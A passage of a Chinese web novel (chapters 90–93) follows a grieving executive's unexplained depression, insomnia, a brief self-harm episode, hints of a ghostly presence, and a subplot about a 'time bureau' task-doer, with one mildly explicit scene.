柚柚嫌烦,翻身,猫爪捂着耳朵。 程卿言瞧着它们的互动,摇头笑了一声,笑着笑着,忽然又难受起来,心口很不舒服。 明明很温馨的画面,她不知道她为什么会突然低落。 深呼一口气,喝了几口温水缓了一会儿,视线移到电脑屏幕上,用工作来转移注意力,直到深夜才回了卧室。 睡前得吃安眠类的药物才能睡着。 近期她的抑郁症状并没有如想象的那样很快就好转了,但也没继续严重下去,不轻不重地折磨着她。 莫名其妙,不知病因,没到吃药的地步,但是不好受。 她也没再去看医生,觉得对她无用。 程卿言只能靠工作,不停地工作,让自己忙起来,忙起来就没时间去难受了。 睡眠不好,食欲也不好,过度疲劳,很快瘦了好几斤。 上午开完会回了办公室,头脑发昏,眼前一黑,晕了过去。 “程总!” 秦助理连忙扶住她,没让她摔到地上,担心出事,快速通知了余简予。 * 临近傍晚,天色渐黑。 程卿言躺在研究所的病床上,已经昏了八个多小时了,还没有醒过来。 孙影给她做了详细的检查,身体没有任何问题,会突然晕厥只是近期太累,低血糖导致的,并不是什么大毛病。 既然没事,那为什么还不醒? 余简予一直守着在床边,突然瞧着程卿言的手轻轻动了动,以为她要醒了,等了片刻,但对方并没有睁开眼。 好似陷入了梦境中,眉心拧了起来,眼泪突然流出了眼泪,泪流不止,打湿了枕套,低声啜泣,听着让人心颤。 余简予担忧地叫了她几声,想让她醒过来。 程卿言猛得睁开眼,湿漉的眼睫颤动着,呼吸很急促。 余简予问道:“怎么了,做噩梦了?” 程卿言红着眼眶,声音低沉沙哑,无措茫然:“我梦见了一个小姑娘……”《 》 90-95 第91章 摇曳 摇曳 第九十一章 这一觉程卿言睡得很沉,她感觉她做了一个很长的梦,想一直溺在梦中,梦里出现一个二十出头的小姑娘。 可是醒来后她就记不清梦境的内容了,忘掉了小姑娘的长相,声音,所有的一切她都忘记了。 仅仅记得她梦见了一个小姑娘。 无尽的空虚又涌上心头,将她淹没,她不知道她为何如此伤心,眼泪止不住地往外流,心口一阵阵地疼。 梦里的人是谁? 和她是什么关系? 她为什么会梦见? 一场梦而已,她是唯物主义,为什么会为了一场记不清内容的梦而伤心哭泣。 余简予不知道她怎么了,她以前从来没见过对方哭成这样,连忙拿纸巾给她擦眼泪,用了小半包纸,对方的眼泪才止住了。 她接了杯温水递给她,道:“喝一点?” 程卿言的嗓子很哑:“谢了。” 接过杯子喝了小半杯,静静缓了一会儿,情绪才平复下来,道:“让你担心了。” 余简予摇头,问道:“你刚才说梦见的小姑娘是谁?” “我也不知道,”程卿言神色茫然,努力地回想梦里的内容,但想不起来,脑子一阵儿一阵儿地疼。 余简予见她难受,担心劝说道:“梦而已,记不起来就别想了。” 是啊。 梦而已。 记起来又如何,只是梦而已。 程卿言呼了一口气,看了眼窗外,天已经黑了。 她下床换好衣服,去了一趟孙影的办公室,邹全恰好也在,聊了几句,都嘱咐她得注意休息,她应了好,就和余简予一起离开了研究所。 片刻后孙影走到窗边,看着楼下程卿言的背影,出声道:“老邹。” 邹全走过来:“怎么了?” “你有没有觉得卿言的腺体好了之后,体能和精力虽然恢复了,但精气神却比从前差了很多,我觉得她过得很不开心。”孙影说了她的感受。 她们并不知晓程倾言轻度抑郁,程卿言没有告诉她们,不想让大家以为一点小事为她担心。 邹全认同:“是有这种感觉,她是不是失恋了?” 孙影道:“她又没谈过恋爱,怎么会失恋。” 邹全困惑:“那为什么突然这样?” “我也不清楚。”孙影叹了一口气,看了桌上摆着的日历。 已经进入三月,春暖花开的季节,希望一起都好起来。 * 三月的天暖和起来,夜里的风柔和许多,吹在脸上不会红了鼻梁。 从研究所出来,还没吃晚饭,余简予说:“最近开了一家新餐厅,评论还不错,要不我们去试试?” 程卿言点头:“可以,我请客。” 余简予不和她争,笑了一声:“行啊。” 给餐厅打电话定好位子后,秦助理开了导航,启动车子出发。 距离不是很远,二十多分钟的路程,但这个点有点堵车,后半段路开得较慢,得开四十来分钟才能到达。 程卿言白天睡得了,这会儿比较精神,拿起手机回了几封邮件。 余简予劝说:“你休息会儿吧,别工作了。” 都累晕倒了,再这样如同机器般忙下去,身体会吃不消。 “休息的时候会空虚,忙起来我会舒服很多。”程卿言也没那么爱工作,她只是在找令她感到舒适的状态,在转移注意力,不想一直难受。 余简予:“那你和我聊会儿天。” 程卿言放下手机:“聊什么?” “下个周就是你生日了,你打算怎么过?”余简予问道。 她的生日要到了? 程卿言颤睫:“不知道,还没想。” 她的性子并不沉闷,也懂得享受生活,往年生日都会提前想一想,只要不是特别忙,都会放一两天假,和朋友聚会出游等等,给自己放松的时间。 今年,她的三十岁生日,身体也恢复了健康,属于值得庆祝的喜事,按理说应该提前计划,好好庆祝。 但是她提不起劲儿,很累,不是身体上的累,而是心累,感觉一切都没意思了。 工作没意思,吃饭没意思,睡觉也没意思,娱乐休息就更没意思,只要闲着,她就会被空虚所吞噬,如同陷进了沼泽,挣扎只会让她越陷越深,直至窒息。 余简予说:“要不出海玩玩,叫上秦助理,秋染,苏敛懿,我们一起去?” 程卿言想了想:“我想留在碚城。” “那去郊外露营也行。”余简予担心她,想让她出去走一走,积极建议。 程卿言知晓她意图,但是她对此真的提不起一点兴趣:“不了,之后再约吧。” 她这样说,余简予也不能绑着她去,在心里叹了一口气,很担心她的状态。 但是她想破脑袋也找不到对方的心病在哪,无从下手,根本找不到让她好起来的办法。 “那是什么单位?”程卿言瞧着窗外,忽然出声问到。 此刻在堵车,车速慢,余简予跟着看过去:“好像是科研院,怎么了?” 程卿言不知道她怎么回事,印象中她没有去过科研院,但她觉得那很熟悉,好像多次去大门口等人。 等谁? 她认识的人中并没有在科研院工作的,科研院属于国家单位,从前也没和程氏合作过,她不可能去那里等人。 而且她也不是爱等人的个性,谁有这么大的面子,能让她等着? 不可能有这样的人出现。 风凌乱了发梢,程卿言颤了颤眼睫,关上车窗,轻轻呼了一口气,侧头道。 “没什么,我就是问了问。” “卿言……”余简予瞧着她眼尾留下的眼泪,颤抖着手扯了纸巾给她擦了擦,“你别吓我。” 程卿言这才反应过来她流泪了,怎么又流泪了,她静了几秒,宽慰道:“应该是风太大迷了眼,没事的。” 怎么可能没事。 可是谁也不知道到底是哪出了问题。 到了餐厅,余简予积极地点了几道招牌菜,味道还行。 程卿言吃了几口,就不想吃了,放下筷子。 余简予:“不合胃口吗,要不再点几道?” “不用了,我没什么胃口。” 一直不吃东西也不行,程卿言主动点了一碗蔬菜小米粥。 现熬的粥,比较烫,她盛了一勺轻尝一口,味道不太对,没有加糖,她喜欢吃甜的粥,但也能吃,慢慢吃了小半碗觉得饱了,才放下勺子。 余简予和秦助理也吃得差不多,离开了餐厅,开车回家。 余简予道:“要不我去你家睡?” “真不用,你去我家睡,我也睡不着。”程卿言婉言拒绝,她没那么严重,不需要人陪。 余简予:“你一个人在家这么冷清,我去了也热闹些。” 程卿言看着她笑了一下:“家里有柚柚和拉面丸子,不会冷清。” 余简予犟不过她,退让道:“好吧,我今晚不去了,不过你如果不想一个人待着,一定得给我打电话。” 程卿言点头:“知道了。” “你得记住。”余简予强调。 程卿言:“记住了。” 商量好后,秦助理先开车送余简予,而后才送程卿言回了月泊林。 程卿言没有急着回屋,在院子里的木椅上坐着,眸光落在了旁边栽种的竹子上,不由自主开始走神。 拉面丸子叼着球跑到了院子里,本来想找她玩,瞧着她的神情,歪了歪狗头,丢掉了球,走到她旁边安安静静趴下,一直守着她。 柚柚也走了过去,主动来到她腿上躺着,尾巴在她手腕上绕了绕,喵了几声。 程卿言颤睫回神,摸了摸柚柚的头:“嗯?” 柚柚蹭了蹭她的掌心,又叫了几声,撒娇黏人。 程卿言笑了一声,摸了摸柚柚的肚子,已经在长肉了,比刚捡到它时胖了好几斤,若是再长下去,就得控制饮食了。 三小只转移了她的注意力,她没再继续发愣,起身在院子陪着它们玩了半个小时,感觉有些累了,才回了室内。 开灯,还没坐下,电灯又开始不停地闪烁着。 又坏了吗。 程卿言观察了会儿,通知物业,维修师傅过来检查过后,告诉她电路没有问题,这一次灯也没有问题。 没问题? 方才她真的看见灯在闪,维修师傅走后,她洗漱好回了客厅,又瞧见灯在闪了。 程卿言:…… 她出现幻觉了? 懒得理会,她也不想干管,随便闪随便坏,她直接关掉客厅的灯,回了卧室,吃了颗安眠类的药躺下睡觉。 睡了几个小时,凌晨四点左右就醒了,程卿言没了困意,躺着也难受,在床上坐了四五分钟,起身出了卧室。 她得找点事情要做。 工作? 工作已经处理得差不多了。 打扫卫生? 阿姨每天都会过来打扫,家里很整洁。 程卿言思忖片刻,看向厨房,她决定做一顿早餐。 对,做早餐。 * 翌日阴天。 适合睡懒觉,余简予起得有点晚,以她在程氏的职位,晚一点到公司也没事,因此她不用急着赶过去,可以在家吃了早餐。 但是程卿言在六点出头那会儿给她发了一条消息,她起床时瞧见了。 程卿言:【早上别吃太多,我给你带了早餐】 为什么突然给她带早餐,以前可没发生过这种事情,难道是心情有了好转? 如果是这样,可是天大的好事。 余简予也不磨蹭,开车去了公司,包都没放,直接进了程卿言的办公室。 程卿言抬头:“你怎么不敲门?” 余简予:“那我退回去敲一次再进来?” 程卿言笑了一声:“多此一举。” 余简予看着桌上放着的纸袋,明知故问:“给我带的早餐?” 程卿言嗯了一声:“尝尝?” 余简予乐呵呵地打开带着,里面只装了一个三明治,卖相很一般,但她不能以貌取味,说不准味道很好。 拿起来,期待地咬了一口气,嚼了嚼,顿了两秒点评:“你这是在哪家店买的,要卖相没味道,要味道没卖相,很一般。” “太咸了,怎么还加了白糖,又咸又甜,你该不会是恶作剧,故意整我吧。” 点评归点评,味道不好是店家的问题,与程卿言无关,早餐是程卿言给她带的,虽然不好吃,她还是很给面子地吃着。 注意力放在了三明治上,她说完后,没人回应她,这才抬头看了眼。 咦,程卿言脸色有点不好啊,怎么用这种眼神看着她,有点吓人。 想到一种可能,余简予试探问:“你做的三明治?” 程卿言呵了一声:“你觉得呢?” 听着语气,应该就是了。 余简予大惊,如此不爱动手,没有正经下过厨的人居然做早餐给她吃,问:“只有我吃到了?” 程卿言看着她:“不然?” 她做了两个,自己咬牙吃了一点,另一个给余简予带来了,剩下的边角料她给了拉面丸子,拉面丸子闻了闻就跑掉了,躲得远远的,根本不给面子。 余简予十分感动地看着她,肉麻的话还没说出口,视线不小心落在了对方下垂着的手上,快速握起看了看,皱眉问道:“怎么伤的?” 对方手背上有两三条短短的伤口,指腹上也有,伤口虽然不深,但也渗了血,覆在白皙细腻的肌理上。 程卿言收回手,淡淡道:“小伤,没什么事,做早餐的时候用刀不熟练,不小心划到了。” 余简予担忧:“消毒了没?” “消了。”程卿言说。 余简予眉头还是没松开,嘱咐道:“你以后别进厨房了,也别碰刀。” 做简单的三明治都能弄出几条口子,若是做别的那还得了。 程卿言点头:“知道了,今早是心血来潮。” “你知道就好,人嘛得有自知之明,你动手能力差,又没做过饭,就别碰刀具了,做出来不好吃,还浪费时间。” 余简予不放心地数落着,如果不是知道对方是做早餐弄出的伤,她还以为对方出现自残行为了。 念叨了好一会儿,三明治又太咸,嘴很干,喝了小半瓶水,再三嘱咐过后,才离开了。 门合上,办公室彻底安静了。 程卿言坐着愣了几息,瞧了会儿手背和指腹上的伤口,她没说假话,这几道口子是切食材时划到的。 她将袖口往上卷,白皙的小臂和手腕往上一点的地方也出现了几条突兀的划伤,做饭是划不了那么高的。 她是什么时候弄的? 程卿言颤了颤眼睫,回想片刻,好像也是早上在厨房划的,为什么要割伤自己? 她不知道。 当时刀划刚过肌理,放在柜子上的青竹摆件突然掉在地上,“哐当”一声巨响惊醒了她,刺痛传来,她看着手上的血,快速丢掉刀,制止了自己的行为,因此伤口不深,消消毒就不用管了。 程卿言抿唇瞧着手臂上的伤,没有害怕,她只是在想,如果当时摆件没有掉下来,她会做出什么事? 几分钟后,她放下袖口,深呼一口气,虽然不害怕,但她莫名其妙出现这种行为,肯定是不对劲儿了。 她想解决。 但是程卿言没有解决的办法,她根本不知道她为何会这样,空虚难受,无法述说。 唯有忙碌,不停地工作,转移注意力,才有片刻的喘息时间。 忙碌,时间过得很快,转瞬间半个月过去。 三月十六号,程卿言的生日到了。 这天是周四,她没有给自己放假,一如往常地去公司上班,收到了很多来自亲朋好友的祝福,微信里有很多条未读消息。 临近下班,她处理好工作,站在落地窗前挨着回复消息,神色淡然,没有任何情绪起伏,对一切都感到麻木。 程卿言不想这样,可是她没办法,她像是散失了感知快乐的能力,从前热爱生活的她,在厌恶生活。 她甚至觉得活着是一件很难受的事,想结束。 可是她得活着,心里有一道声音在告诉她,她得活着。 好像有人比她更爱惜她的生命。 即使痛苦,她也得往前走。 程卿言深呼一口气,麻木地回复完所有的生日祝福,视线依旧落在了屏幕上,没有退出微信界面。 所有她在意的人都给她发了祝福了吗? 她挨着看了看,好像是的。 但是她总觉得差了谁,差了一条很重要的祝福,她想收到。 程卿言翻了很多遍微信好友,找不到。 余晖褪下,夜色渐深,窗外星星点点的光亮了起来,她落寞茫然地看着她映照在玻璃上的影子,就这样站了很久。 突然响起的手机铃声让她回神,瞥了眼屏幕,程老太太打来的电话,她按了接通。 老太太问道:“下班了没?” 程卿言:“还在公司。” 老太太:“要加班?” 程卿言如实说:“不加,过会儿就走。” 老太太询问:“要回老宅吃晚饭吗,今天你生日。” 程卿言想了想:“不了,我有点累。” 程老太太没有勉强,不想回就算了,聊了几句挂断了电话。 * 晚上七点半。 程卿言回到家,柚柚和拉面丸子热情地迎接她,她陪着它们玩了一会儿。 其实不能说是她陪它们,应该是它们陪她。 如果家里没有三小只闹出动静,在家等她,她根本不想回家,家里的寂静会让她有种窒息感。 在公司食堂已经吃了晚饭,洗完澡后,程卿言换了衣服去了烘焙房,昨天她安排人买齐了需要用到的道具和食材,她准备做生日蛋糕。 昨夜睡不着,脑子里突然冒出来的想法。 不是想做,而是得做…… 在她生日这天亲手做蛋糕,像是一个承诺,她得去实现。 和谁一起许下的承诺? 程卿言已经不想去纠结这些了,她想不出来答案的,闲着也是难受,找点事情消磨时间也行。 从前没有做过蛋糕,她对此没有任何经验,但她没有请糕点师傅来教她,她疲于和人交流沟通,程卿言准备自己在网上找教程学一学。 进了烘焙室,程卿言后腰倚着操作台,拿出手机看教程,刚想播放,还没开始看,她脑子里突然冒出些关于蛋糕的知识。 做一个蛋糕大概需要四个小时,先做蛋糕胚,烤四十分钟,成型后拿出来冷却两个小时,在这两个小时内可以准备下一环节需要用到的食材。 冷却好后脱模,将蛋糕胚分成两三片,加入爱吃的水果坚果等,最后再抹面,一个蛋糕就制作完成了。 程卿言愣了几秒,呼口气点了播放,快速看完视频,教学内容和她脑子里出现的步骤几乎一模一样。 她为什么会知道这些? 她没有做过蛋糕,脑子真的出问题了。 缄默片刻,程卿言放下手机,认真地洗了手,沉下心做蛋糕。 分针一圈圈转动动,暖黄的灯光一直亮着,忙碌的影子映照在地面上,四个小时转瞬即逝。 程卿言做了一个比巴掌大一点点的蛋糕,卖相不好,好在能看出来是蛋糕,将其放进盘子里,端去了客厅。 即将凌晨,已经比较晚了,三小只这会儿睡了。 电视一直是开着的,声音不算大,程卿言没看,她只是不想家里太安静,需要一点声响。 她找了三根小蜡烛插到蛋糕里,点燃,微弱的烛火摇曳着。 接下来该做什么? 吹蜡烛许愿? 烛火映照在她眼眸中,内心无波无澜一片死寂,对未来没有任何期待,也没有愿望。 程卿言沉默地坐了片刻,没吹蜡烛,没有许愿,辛辛苦苦做出来的蛋糕也没有吃,起身回了卧室。 卧室门关上那瞬,燃烧着的蜡烛像是被风吹着一般,忽明忽灭摇晃着,在凌晨将至的前一秒,三根蜡烛突然熄灭。 与此同时电视屏幕滋啦一声响,蓝屏,屏幕上显示出几个字——生日快乐,要开心 第92章 有缘 有缘 第九十二章 三月末,距离程卿言的生日已经过去了两个周。 她按部就班地生活工作,每天做的事情都差不多,手臂上的划痕已经恢复,她没再做出伤害自己的事情。 但是内心依旧空虚,对任何事提不起兴致,失眠也加重了,如果不吃安眠药,会整宿整宿地睡不着。 生活没有任何变化,但她觉得她的精神出现问题了。 而且越来越严重。 家里的电路和电器,维修师傅已经去检查过几次了,能确认没有问题,但是她总能听见电流声,总能看见灯在闪。 好像别人都听不见,只有她能听见。 ——滋滋滋 程卿言脱了衣物,躺在浴缸泡澡,每天都将行程排的很满,身体累脑子累,很疲惫,但是睡不着。 她躺着没动,静静地泡澡。 没有放音乐,但浴室里并不安静。 程卿言侧头,瞧着又突然闪烁起来的灯,滋滋滋的电流声也在响。 还有泡澡的水,她明明没有动,浴缸也没有开按摩等功能,但她看见水波荡漾,像有一双无形的手在搅动着。 很诡异的现象,分不清是不是幻觉。 程卿言没有害怕,也不介意这些幻觉的出现,挺热闹的,能转移她的注意力。 二十分钟后,程卿言起身,跨脚从浴缸出来,拿起浴巾慢慢擦着身上的水珠,擦至心口的水珠时,她感觉灯好像变得很激动,闪得非常快,让她感觉有点不舒服了。 程卿言穿上睡袍,抬头看着灯,道:“你能安分点吗,别闪这么快,我的眼睛会不舒服。” 灯瞬间停止了闪动。 程卿言继续道:“没有让你不闪,只是让你慢点,听得懂我说话,就闪两下回应我。” 灯闪了两下。 程卿言见状,轻叹一口气,她的幻觉已经严重到这种地步了吗,居然觉得灯在回应她,而她也真的在和灯说话。 如果有人在场,应该会觉得她疯掉了。 她可能是疯掉了。 躺回床上,卧室里只开了壁灯。 程卿言拿起一本与心理学有关的专业书翻了翻,内容晦涩难懂,她不是想给自己看病,她只是想拿这本书催眠。 但是越看越清醒,一点困意都没有,程卿言无奈关上书,将其放在床头边。 不想下床,她拿起床头柜上的消毒湿巾擦了擦手,干净后,找出一个白色小物件没于被褥下,在按开关前,程卿言瞧了眼壁灯,缓缓道:“等会儿别闪。” 那种时刻灯若是闪起来,就像有人在对她眨眼似的,有点别扭。 程卿言已经很久没有做这件事了,一直没有兴趣,没有想法,今夜只是心血来潮,忽然有了点念头,正好也睡不着,说不准累了就有困意了。 太久没用,承受能力较弱,开到最低档位就差不多了,她懂循序渐进。 嗡嗡嗡响起,眼睫随之轻轻颤着。 徒然,眸光猛得颤了一下,明明没有换挡,不知道是不是她的错觉,嗡嗡声的频率明显快了很多。 物件像是有了自主意识变换着,视线模糊,很快大脑一片空白,恍惚间感觉壁灯也闪了几下。 几分钟后,程卿言呼吸平稳了,眼尾泛着红,瞧了眼壁灯,又看了看有着她痕迹的物件,眉心轻轻拧了拧。 这东西坏了? 还是她的感官也出现问题了? 程卿言更偏向于东西坏了,差点让她没承受住。 坏东西。 以后不用它了。 起身清洗,换掉皱巴巴的缎面睡裙,程卿言重新躺回床上,难得有一晚不吃安眠药,能够入睡,整整睡了七个小时。 醒来后她对此感到震惊,看了看她已经准备丢掉的白色小物件,是它的功劳? 有了猜想,她会去验证,睡眠对她而言真的太重要。 接下来几日,睡前她都会用一用,但是没有了第一次的效果,频率恢复了正常,并没有坏掉,仿佛那晚的一切都是她的错觉。 这几日家里的灯也没闪了,电流声也消失了,说明她的幻觉消失了,她有了好转,但她并没有为此感到开心,反而更加空虚,觉得烦躁。 她以为是家里太安静,让她烦躁,回到家后她会立即开电视,或是放音乐弄出声响,但是没有任何用,烦躁感并没有减弱。 她又去网上搜索了与电流声相类似的噪音,人为放了一会儿,听起来一模一样的声音,感觉就是不对。 肯定有不一样的地方,至于哪不一样,她不清楚。 余简予和她虽然没住在一起,但每天都能见到她,和她相处的时间比较多,能明显感觉到她的状况时好时坏。 找不到程卿言的心病,无从下手,心理医生不管用,她也没有法子了。 中邪了,肯定是中邪了。 她想带着她去庙里驱魔,但对方除了工作出差,不肯离开碚城。 于是她独自去了一趟庙里,花了大价钱给程卿言驱魔,并且带了一张符回来,让她放在枕头下,脏东西就会消失。 程卿言拿着符看了看,问了价格。 余简予报了个数。 程卿言静了几秒,道:“我觉得你被诈骗了。” 她们虽然不缺钱,但每笔钱都取之有道,每日辛苦工作赚来的,又不是大风刮来的,有钱也不能做冤大头。 余简予说:“试试吧,说不准能行。” 程卿言不信,但不想辜负她的一片好心,收下了:“谢了。” 余简予道:“不客气,你放好,别弄丢了。” “知道了,”程卿言将其放进手提包里,离目的地还有二十多分钟的路程,问道,“你和你准女友最近怎么样了?” 余简予说:“还行吧,处得还行吧,性格也和得来。” 程卿言关心:“什么时候确定关系?” 对方每次谈恋爱都会告诉她,以往的恋情,在一个月之内就会确定关系,但这一次都聊了快两个月了,居然还是朋友状态。 说起这个,余简予想叹气:“我也不知道啊,我都这样暗示她了,她像不懂似的,一直不表白,你说这些年轻人看着单纯,会不会在扮猪吃老虎?” 程卿言挑眉:“你问我?” 她没有恋爱经验,哪里懂这些事。 余简予:“好吧,不该问你。” 程卿言好奇:“为什么要等她表白,你先表白不行吗?” “不行,”余简予道,“你不懂,一定得她先表白。” 真正原因是她也没表过白,从前谈的几段恋爱,都是别人给她表白,她对此没经验,还是把机会让给年轻人吧。 程卿言:“你们发展到什么阶段了?” 余简予:“加了微信,吃了很多次吃饭,聊了过往。” “没了?” “没了。” “手都没牵过?” “没有。” “你这一次这么纯爱?” “你以为我想这样啊,她没这些心思,”余简予见对方这会儿有聊天的意愿,于是打开了话茬,“我还没给你说,上个周她约我出去玩,晚上一起住的酒店,她定的房间,大床房,我以为会发生点什么,我洗完澡出来她都睡着了,睡得很香。” 也不是说要做,暧昧阶段的亲亲抱抱应该来点吧,什么都没有,周青月不仅睡着了,半夜还抢被子,搞得她都郁闷了。 难不成对方只是想和她做知心朋友,没有要发展成恋人的意思,是她自作多情误解了? 余简予叹气,女大虽然青春活力,但也挺麻烦的,她在行为上想主动些,又怕吓着人家,只能给暗示。 若是同龄人,给个眼神暗示就懂了,哪用得着这么麻烦。 程卿言轻笑:“你之前还说年轻人好,劝我也找个年轻alpha,脸疼不疼?” 余简予:“有点疼,还是别找年轻人了。” 聊着天,很快二十分钟就过去了,到达了目的地。 理了理礼服,下车去了宴会厅。 今夜参加的晚宴是HE集团在碚城分部的周年庆,之前港城的烟花秀就是HE集团所为,云秋染当时以为是陆枫做的,拜托她调查,调查出来和陆家无关。 HE集团,在国外有着百年历史的大企业,业务上和程氏没有过合作,程卿言此次亲自过来,是为了让云秋染彻底安心,从过去中走出来,接受陆枫已经离世的事实。 她之前也将这件事告诉了云秋染,如果云秋染想来看看,可以作为她的女伴一起进来,云秋染考虑了很久,在昨夜给了她回复。 不来了。 不知是已经接受了事实,还是不敢确认事实。 虽然只是碚城分部,但HE的实力雄厚,排场搞得很大,邀请的重要人物也很多。 程卿言近期不想和人打交道,没有沟通欲,但她知道轻重,结交人脉利益交换的地方,该交际的时候会交际。 腺体恢复后,她也可以随心所欲地喝酒,没有任何顾虑。 很快,宴会正式开始,HE的大老板也出现了,在台上发言。 程卿言的眸光落在她身上细细打量着。 网上能查到这人的长相,之前调查的时候,她就知晓她长什么样。 身材高挑,混血,金发碧眼,年满四十,保养得很好,看起来只有三十出头,和陆枫没有任何相似之处。 传言说这位大老板之前生过一场重病,生命垂危,不知道彻底康复了没,此刻瞧着状态还行,没有任何生病的迹象。 程卿言不是在看长相,而是在看她的右腿。 陆枫的右腿不好,虽能行走,但走起来比较费劲儿,时常会坐轮椅出行。 如果是同一个人,外貌能变,因为腿不好而养成的走路习惯却不好改变,多多少少会留下些痕迹。 程卿言观察了好一会儿,这位大老板走路没有任何问题,和正常人无异。 不是陆枫。 该交际的也交际了,没有久留的必要,正想离开时,这位大老板主动向她走了过来,和她打了招呼。 程氏目前和HE没有合作,但不代表未来不会合作,程卿言面带笑容和她交谈着,几乎都是用的英文沟通。 对方的omega母亲是中国人,会几句中文,说得不太好。 程卿言在和她交谈时,也留意了她的说话方式,依旧和陆枫没有任何相似之处,不是同一人。 陆枫已经去世多年,她从前一直坚信人死不能复生,认为是云秋染的执念太重,才不愿意接受。 可是最近,她脑子出了问题,周围的一切都变得怪怪的,她都能和灯聊天了,就觉得死而复生好像也可以存在。 所以才特意来参加这场晚宴。 她脑子确实不太正常了。 聊了十来分钟,礼貌告辞,和云秋染一起离开了宴会厅,慢慢走着去停车场。 在她走后,宴会厅的二楼出现了两道人影,方才中文说得差了的人,此刻用着一口流利的中文与助理说着话。 “程氏之前一直在调查您,您看……” “不用管,今日过后她们不会再查了。”金发女人一直看着程卿言离开的方向,眸光探究,待对方的坐车离开,身影消失后,轻轻呼了一口气。 她让助理离开,独自在露台站着。 脑子里“嘀”了一声,发着光的蓝屏界面出现,输入密码,登录了工作日志,看了看她在这个世界的任务。 协助世界女主云秋染成长,走出困境,实现人生目标。 属于剧情任务,任务在十年前就完成了,她是任务者,当时以陆枫的身份和云秋染接触。 任务完成,她就离开了,此刻她本不该出现在这里,可是…… 明明是剧情任务,她当年却对女主动了心,不能表现出来,不然会影响女主的命运,世界会有崩塌的可能。 在时空局做了那么多年的任务,她的第一次心动,她克制住了,她的积分在时空局排名第一,早就可以兑换愿望回到属于自己的原世界,可是她一直没有兑换。 十年前许下烟火秀的承诺,她得来实现。 她不属于这里,这里只是她的任务世界,只要不让女主发现她,知道事情的真相,女主的命运就不会被影响,所以她冒险回来了一趟。 即使没见面,能在同一时空并存着,能为她的女主放一场烟花,对她而言已经足够了。 金发女人眼眸中涌动着浓浓的不舍,如果云秋染不是女主,她或许可以留下。 就像时空局近期出现的1020逃离事件一样,只要对象不是女主,不影响世界的运行,就有回来的可能。 而她不行,她得离开了。 她和1020并不认识,在时空局也没见过面,但从前她听说过她。 1020在刚来时空局的时候就开始疯狂做任务,任务狂魔,在很短的时间里就攒够了复活所需要的积分,大家以为她是求生欲望强,积极地想让自己回去,谁能想到1020做的这一切都是为了她的爱人。 说起来她和1020也挺有缘分的,虽然不认识,但她认识她的爱人。 她有点羡慕1020,勇敢果断,为了爱人可以付出一切。 在露台站了片刻,金发女人抬眸看了眼天际,轻轻叹了一口气,转身离开。 * 回去的路上,余简予再一次提出要跟着程卿言一起回家,在程卿言家里睡觉。 程卿言拒绝了。 余简予:“我之前也在你家里留宿过呀,也不全是为了陪你,这里离我家多远啊,来回开车好麻烦,我去你家休息一晚不行吗,还能早点休息。” 程卿言说:“不麻烦,时间还早,我不累。” 余简予:…… “到底为什么不让我去你家,你家里藏了人?” 程卿言颤了下眼睫,人倒是没有藏,她也不是不让对方去她家留宿,而是想着,今晚灯若是又开始闪了,好几天没见了,她肯定会和灯说话,对方瞧见了一定会更担心她。 她不想让对方发现她疯了。 她坚决不答应,余简予只能回自己家,下车前余简予做最后的挣扎:“真的不行吗?” 程卿言下巴指了指窗外:“都到你家门口了。” 余简予退而求其次:“那你今晚在我家睡?” 程卿言:“不想,柚柚和拉面丸子在家等我。” 余简予没法子了,嘱咐几句后,挥手说再见。 程卿言见她回了屋,才让秦助理开车,回了月泊林,路上她给云秋染发了消息,细说了宴会上的事。 港城烟花秀和陆枫无关,HE集团的大老板也和陆枫没有任何相似之处。 几分钟后云秋染回复:【我知道了】 程卿言想了想,问道:【你还好吗,需要我过来一趟吗?】 云秋染:【不用了,我已经接受了,以后不会再执着这件事了,你也累了一天了,回家好好休息吧】 简单聊了几句,两人的状态都不是很好,很快结束了聊天。 程卿言放下手机,侧眸看向窗外,街景不断往后掠,像一次次擦身而过。 十年,云秋染将自己困了十年,终于下定决心要走出来。 当年陆枫会在云秋染最困难的时候出手相助,但又不许云秋染靠近,见面的次数都很少。 云秋染因为感激,好奇,而想靠近对方,但在事业有起色,有资格和对方平视,给予回报时,对方却离开了人世。 因此,她不清楚云秋染对陆枫到底是爱情,还是执念。 云秋染这些年如此折磨自己,值得吗? 如果换作是她,她会为了一个永远不会回来的人,将自己困在过往的回忆里,不愿意走出来吗。 她觉得她不会这么傻,她会果断往前…… 想到这,程卿言的心口忽然痛了几下,无尽的空虚涌上心头,额头上冒出了虚汗,觉得车里很闷,已经到了月泊林附近了,她出声道:“前面路口停车,我走着回去。” 秦助理应好,停下车问:“需要我陪您走走吗?” “不用了,你回去吧。”程卿言拉开车门,迈着步子慢慢往前走。 天气暖和了,附近有商场,夜里出来散步的人也多了起来,有点热闹。 但这是旁人的热闹,程卿言看在眼里,内心依旧荒凉寂静,一切都与她无关。 “姜映。” 在不属于她的热闹中她捕捉到这两个字,心口猛得一颤,眸光含泪,下意识侧头看过去,寻找声音的来源。 “姜映你慢点,别撞到人了。” 年轻的母亲带着小女孩出来骑自行车,在不远处,温柔耐心地唤着小女孩的名字。 小女孩长大很可爱,看起来只有五六岁,骑着车笑起来咯咯咯的,一时没注意,差点撞到程卿言。 小女孩抬眸,见程卿言在流泪,很有礼貌:“姐姐对不起,我不是故意的,你哪里痛痛,我给你吹一吹。” 小女孩的母亲也过来,见状,连忙道歉,询问她有没有伤着哪。 程卿言深呼一口气:“没事的,她没撞到我。” 小女孩拿纸巾给她,关心问:“那姐姐你为什么哭呀,心情不好吗?” 为什么哭? 程卿言不清楚,接过纸巾擦了擦眼泪,道了声谢谢。 小女孩的母亲是成年人,懂得成年人的不容易,感情,生活,事业中时常会出现情绪崩溃的瞬间,没有多问,友好地询问道:“要和我们一起玩一会儿她?” 程卿言摇头,婉拒:“不了,你们玩吧。” 小女孩奶声奶气装作大人的模样道:“姐姐你要勇敢哦。” 程卿言对她笑了笑:“我知道了。” 小女孩从背包里拿出自己的旺仔牛奶放到她手里,重新骑上自行车,挥了挥手:“那我走了哦,姐姐我叫姜映,我们有缘再见。” 程卿言眸光含泪,站在原地看着小女孩渐行渐远的背影,轻轻启唇:“有缘再见……” 有缘再见,姜映。 第93章 出现 出现 第九十三章 十分钟后,程卿言坐着接驳车到了家。 柚柚和拉面丸子在院子里等她,听见声响,开心地迎了过来,呜呜呜喵喵喵地叫着,但不像从前那样上蹿下跳,兴奋地让她陪着它们玩了。 三小只很有灵性,察觉得到她近期的状态不好,多数时候都不闹腾,会趴在她身边静静守着她。 程卿言不想让大家替她担心,已经很控制自己的情绪了,但大家依旧能察觉到她的不对劲儿,很担心她。 